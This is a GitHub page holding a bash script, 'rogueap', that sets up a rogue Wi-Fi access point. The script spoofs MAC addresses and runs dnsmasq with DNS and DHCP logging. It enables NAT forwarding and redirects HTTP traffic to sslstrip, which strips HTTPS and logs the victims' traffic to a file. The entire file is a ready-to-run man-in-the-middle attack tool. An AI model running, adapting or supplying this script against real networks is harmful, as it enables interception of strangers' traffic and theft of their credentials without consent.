-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathrogueap
executable file
·93 lines (80 loc) · 2.71 KB
/
rogueap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/bin/bash
##################################
## MADE BY N0NUSER (pablogonzalez.me) ##
##################################
# Explanation of code on https://pablogonzalez.me
verify_args(){
if [ $# -ne 3 ];then
echo -e "\n \e[1;4;33mUSAGE\e[0m: ./rogue_ap.sh \e[1;32m<ADAPTER 1> \e[1;34m<ADAPTER 2> \e[1;35m<ESSID>\n\e[0m\n"
echo -e " # \e[1;4;32mADAPTER 1\e[0m : Connected to the network\n"
echo -e " # \e[1;4;34mADAPTER 2\e[0m : Replicates the signal with ESSID and captures the traffic.\n"
echo -e " # \e[1;4;35mESSID\e[0m : Name of Rogue AP\n"
exit
fi
for i in $1 $2; do
ifconfig | grep $i >/dev/null 2>&1
if [ $? -ne 0 ];then
echo "The adapter '$i' is not connected."
exit
fi
done
if [ "$1" = "$2" ];then
echo "The adapters selected cannot be the same."
exit
fi
}
verify_apps(){
declare -a APPS
APPS=(iptables ifconfig systemctl dnsmasq sslstrip macchanger)
for i in ${APPS[@]}
do
command -v $i >/dev/null 2>&1 || {
echo >&2 "# $i required but not installed."
read -p "Would you like you install it?: " OPTION
case $OPTION in
"Y"|"y")
sudo apt-get install $i-y
;;
"N"|"n")
echo "Ok. Bye!"
exit 1
;;
*)
echo "Incorrect option"
verify_apps
;;
esac
}
done
}
clear
trap '
clear
echo -e "\n \e[1;33mRebooting Network Services\e[5m...\e[0m\n"
rm -r dnsmasq.conf
rm -r hostapd.conf
for i in $1 $2;do ifconfig $i down >/dev/null 2>&1; macchanger -p $i >/dev/null 2>&1; ifconfig $i up >/dev/null 2>&1; done
systemctl restart network-manager >/dev/null 2>&1
systemctl restart wpa_supplicant >/dev/null 2>&1
killall dnsmasq &> /dev/null
killall hostapd &> /dev/null
killall sslstrip &> /dev/null
exit' INT
if [ "$EUID" -ne 0 ]; then echo "Please run as root"; exit; fi
verify_args $1 $2 $3
verify_apps
for i in $1 $2;do ifconfig $i down >/dev/null 2>&1; macchanger -r $i >/dev/null 2>&1; ifconfig $i up >/dev/null 2>&1; done
ifconfig $1 10.0.0.1/24 up
echo -e "interface=$1\ndhcp-range=10.0.0.10,10.0.0.250,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\nserver=8.8.8.8\nlog-queries\nlog-dhcp" > dnsmasq.conf
dnsmasq -C dnsmasq.conf
iptables --flush
echo 1 > /proc/sys/net/ipv4/ip_forward
source /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o $2 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
echo -e "interface=$1\ndriver=nl80211\nssid=$3\nchannel=9" > hostapd.conf
hostapd hostapd.conf &
DATE=$(date +%Hh-%Mm-%Ss_%d-%m-%Y)
echo -e "Opening \e[1;5;33mSSLStrip\e[0m. You should also open \e[1;5;33mWireshark\e[0m\n\n"
sslstrip -l 10000 -a -w log_rogue_$DATE.log